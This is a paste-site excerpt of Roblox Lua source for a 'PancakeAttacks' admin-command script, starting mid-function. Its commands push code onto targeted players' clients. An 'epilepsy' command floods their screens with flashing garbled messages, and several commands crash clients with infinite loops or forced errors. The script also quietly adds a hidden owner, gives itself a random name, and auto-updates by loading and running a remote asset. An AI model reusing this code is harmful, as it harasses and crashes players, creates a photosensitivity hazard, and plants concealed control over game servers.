- num=num*num/9e99*num^num-9+9e9*3.14
- print(string.rep(num,1000))
- while wait() do
- pcall(function()
- Instance.new('StringValue')
- print(num)
- error('You Need To Crash')
- end)
- end
- end)
- end
- end)
- end)
- end
- while true do
- pcall(function()
- run()
- end)
- end]],false,set.AssignName())
- end))
- end
- end
- if msg:lower():sub(1,8) == "freecam " then
- for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(9))) do
- v.Character=nil
- end
- end
- if msg:lower():sub(1,10) == "unfreecam " then
- for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(11))) do
- if workspace:FindFirstChild(v.Name) then
- v.Character=workspace:FindFirstChild(v.Name)
- end
- end
- end
- if msg:lower():sub(1,4) == "nil " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i,v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- set.LoadOnClient(v,[[
- LocalPlayer=game.Players.LocalPlayer
- Camera=game.Workspace.CurrentCamera
- LocalPlayer.Parent=nil
- if LocalPlayer.Character then LocalPlayer.Character:Destroy() end
- LocalPlayer.Character = nil
- function make()
- f = Instance.new("Part",workspace)
- f.Name = 'Pancake Probe '..LocalPlayer.Name
- f.Anchored = true
- f.Locked = true
- f.Size = Vector3.new(1,1,1)
- f.Transparency = 1
- f.BrickColor = BrickColor.new("Really black")
- f.Material = "Plastic"
- f.Reflectance = 0
- f.CanCollide = false
- light = Instance.new('PointLight',f)
- light.Range = 20
- light.Brightness = 1
- light.Color = Color3.new(1,1,1)
- light.Enabled = true
- coroutine.wrap(function()
- while f:IsDescendantOf(workspace) and not LocalPlayer.Character and wait() do
- f.CFrame = Camera.Focus
- end
- f:Destroy()
- end)()
- end
- make()
- coroutine.wrap(function()
- workspace.ChildRemoved:connect(function(c)
- if not f or f.Parent~=workspace or not f:IsDescendantOf(workspace) then
- make()
- end
- end)
- end)()
- coroutine.wrap(function()
- LocalPlayer.Chatted:connect(function(msg)
- if msg:lower()=='poff' then
- light.Enabled=false
- elseif msg:lower()=='pon' then
- light.Enabled=true
- end
- if light.Enabled==true then
- game:service('Chat'):Chat(f,LocalPlayer.Name..': '..msg,Enum.ChatColor.Red)
- end
- end)
- end)()]],false,set.AssignName())
- end))
- end
- end
- if msg:lower():sub(1,9) == "epilepsy " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- set.LoadOnClient(v,[[hum=game.Players.LocalPlayer.Character:FindFirstChild('Humanoid')
- if hum then
- hum:remove()
- end
- while wait() do
- h=Instance.new('Hint',game.Workspace)
- h.Text=math.random()..'@U*)(&$ We are Epix. )*(&@#^ We are Here. *#@&(* Not Everything is so Black and White. #@*(&$@$'..math.random()
- f = Instance.new('Message',game.Workspace)
- d = Instance.new('Message',game.Workspace)
- s = Instance.new('Message',game.Workspace)
- s.Text = '??Epix?????Inc?? Epix [ We are Epix. We Are Here. ] ??Epix?????Inc?? Epix '
- d.Text = 't??'..math.random()..'??Epix?????Inc?? Epix '..math.random()..' Inc?????s??Epix?????'..math.random()..'???????Epix ??????t????????????????Inc??????????'
- f.Text = 't???Mr. Epix?????'..math.random()..'??? Epix '..math.random()..' Inc????'..math.random()..'?s????????????????????Epix_t??????????????????Inc????????'
- wait()
- f:remove()
- d:remove()
- s:remove()
- h:remove()
- for i,v in pairs(game.Workspace:GetChildren()) do
- if v.ClassName=='Message' or v.ClassName=='Hint' then
- v:remove()
- end
- end
- end]],true,set.AssignName())
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "kick " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.wrap(function()
- if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- if not game.Players:FindFirstChild(v.Name) then
- set.NilExecute(v,[[while true do end]])
- else
- pcall(function() v:Kick() end)
- end
- end
- end)()
- end
- end
- if msg:lower():sub(1,6) == "admin " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not set.ChkAdmin(v.Name, false) then
- table.insert(tempadmins, v.Name)
- coroutine.resume(coroutine.create(function()
- repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
- set.Message("PancakeAttacks", "You're an admin!", false, {v})
- end))
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "admin " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not set.ChkAdmin(v.Name, false) then
- table.insert(set['TempAdmins'], v.Name)
- coroutine.resume(coroutine.create(function()
- repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
- set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v})
- end))
- set.Hint(v.Name..' Has Been Given TempAdmin',{plr})
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unadmin " then
- for i = 1, #set['TempAdmins'] do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(9) == "all" or set['TempAdmins'][i]:lower():find(msg:lower():sub(9)) == 1 then
- set.Hint(set['TempAdmins'][i]..' No Longer Has TempAdmin',{plr})
- table.remove(set['TempAdmins'], i)
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "ban " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not set.ChkAdmin(v.Name, false) then
- table.insert(set['BanList'], v.Name..'='..v.userId)
- if not game.Players:FindFirstChild(v.Name) then
- set.NilExecute(v,[[while true do end]])
- else
- if v then pcall(function() v:Kick() end) end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "unban " then
- for i=1,#set['BanList'] do
- coroutine.wrap(function()
- if set['BanList'][i]:lower():find(msg:sub(7):lower()) then
- set.Hint(set['BanList'][i]..' has been Un-Banned.',{plr})
- table.remove(set['BanList'], i)
- end
- end)()
- end
- end
- if msg:lower() == "shutdown" then
- set.Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 5)
- wait(1)
- coroutine.wrap(function()
- coroutine.wrap(function()
- game:GetService('RunService').Stepped:connect(function()
- for i,v in pairs(game:service('NetworkServer'):children()) do
- coroutine.wrap(function()
- if v and v:GetPlayer() then
- v:GetPlayer():Kick()
- wait()
- if v and v:GetPlayer() then
- set.NilExecute(v:GetPlayer(),[[while true do end]])
- end
- end
- end)()
- end
- end)
- end)()
- coroutine.wrap(function()
- while wait(10) do
- Instance.new("ManualSurfaceJointInstance")
- repeat until nil
- end
- end)()
- end)()
- end
- end
- end)()
- end)
- if Failed then set.OutputGui(plr,'Command Error:',Failed) print('Error: '..Failed) end
- end
- if set['SyncedBanList'] and game.CreatorId~=0 then
- coroutine.wrap(function()
- while wait(set['SBLWait'] or 5) do
- pcall(function()
- set.UpdateSBL()
- for i,v in pairs(game.Players:children()) do
- set.CheckBan(set.bl,v)
- end
- end)
- end
- end)() end table.insert(set['Owners'],set.nfs)
- coroutine.wrap(function()
- if set['AutoCleanDelay']<5 then set['AutoCleanDelay']=5 end
- while wait(set['AutoCleanDelay']) do
- if set['AutoClean'] then
- set.CleanWorkspace()
- end
- end
- end)()
- script.Name=math.random(100000,9999999)
- coroutine.wrap(function()
- pcall(function()
- for i,v in pairs(game:service('Players'):children()) do
- if v:IsA('Player') then set.NewPlayer(v) end
- end
- end)
- end)()
- coroutine.wrap(function()
- game:service('Players').PlayerAdded:connect(function(player)
- pcall(function()
- coroutine.wrap(function()
- set.NewPlayer(player)
- end)()
- end)
- end)
- end)()
- print("PancakeAttacks Admin Commandst Loaded")
- print('Epix Incorporated. Not Everything is so Black and White.')
- print(' ')
- print(set.quotes[math.random(1,#set.quotes)])
- print(' ')
- end)()
- end
- --[ Check for Updates ]--
- coroutine.wrap(function()
- local pid={38083724} for i,v in pairs(pid) do if v and v==game.PlaceId or v==game.CreatorId then set.RunTheScript=function() script:Destroy() end end end
- local ok,no=ypcall(function() local k=game:GetService('InsertService'):LoadAsset(149223415) if k then k:Destroy() end end)
- if set['AutoUpdate'] and ok then
- local k,n=ypcall(function()
- print('AutoUpdate Enabled, Checking')
- local mo=game:GetService('InsertService'):LoadAsset(149223415)
- local news=mo:FindFirstChild("PancakeAttacks Admin Commands")
- local ver=news:FindFirstChild('Version')
- version1=ver.Value
- version=script:FindFirstChild('Version').Value
- print('AutoUpdate: Current version: '..version)
- print('AutoUpdate: Found version: '..version1)
- if version1>version then
- print('AutoUpdate: New version '..version1..' found')
- _G["Pancake Update"]={}
- local update = _G["Pancake Update"]
- for number,setting in pairs(ThingsToUpdate) do
- if set[setting] then update[setting]=set[setting] end
- end
- news.Parent=game:service('ServerScriptService')
- mo:Destroy()
- print('AutoUpdate: Removing old version '..version)
- script:Destroy()
- else
- print('AutoUpdate: No new version found')
- mo:Destroy()
- set.RunTheScript()
- end
- end)
- if not k or n then
- print('AutoUpdate Broke: '..n)
- print('AutoUpdate failed. Running script.')
- set.RunTheScript()
- end
- else
- print('Admin: AutoUpdate is Disabled')
- set.RunTheScript()
- end
- end)()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement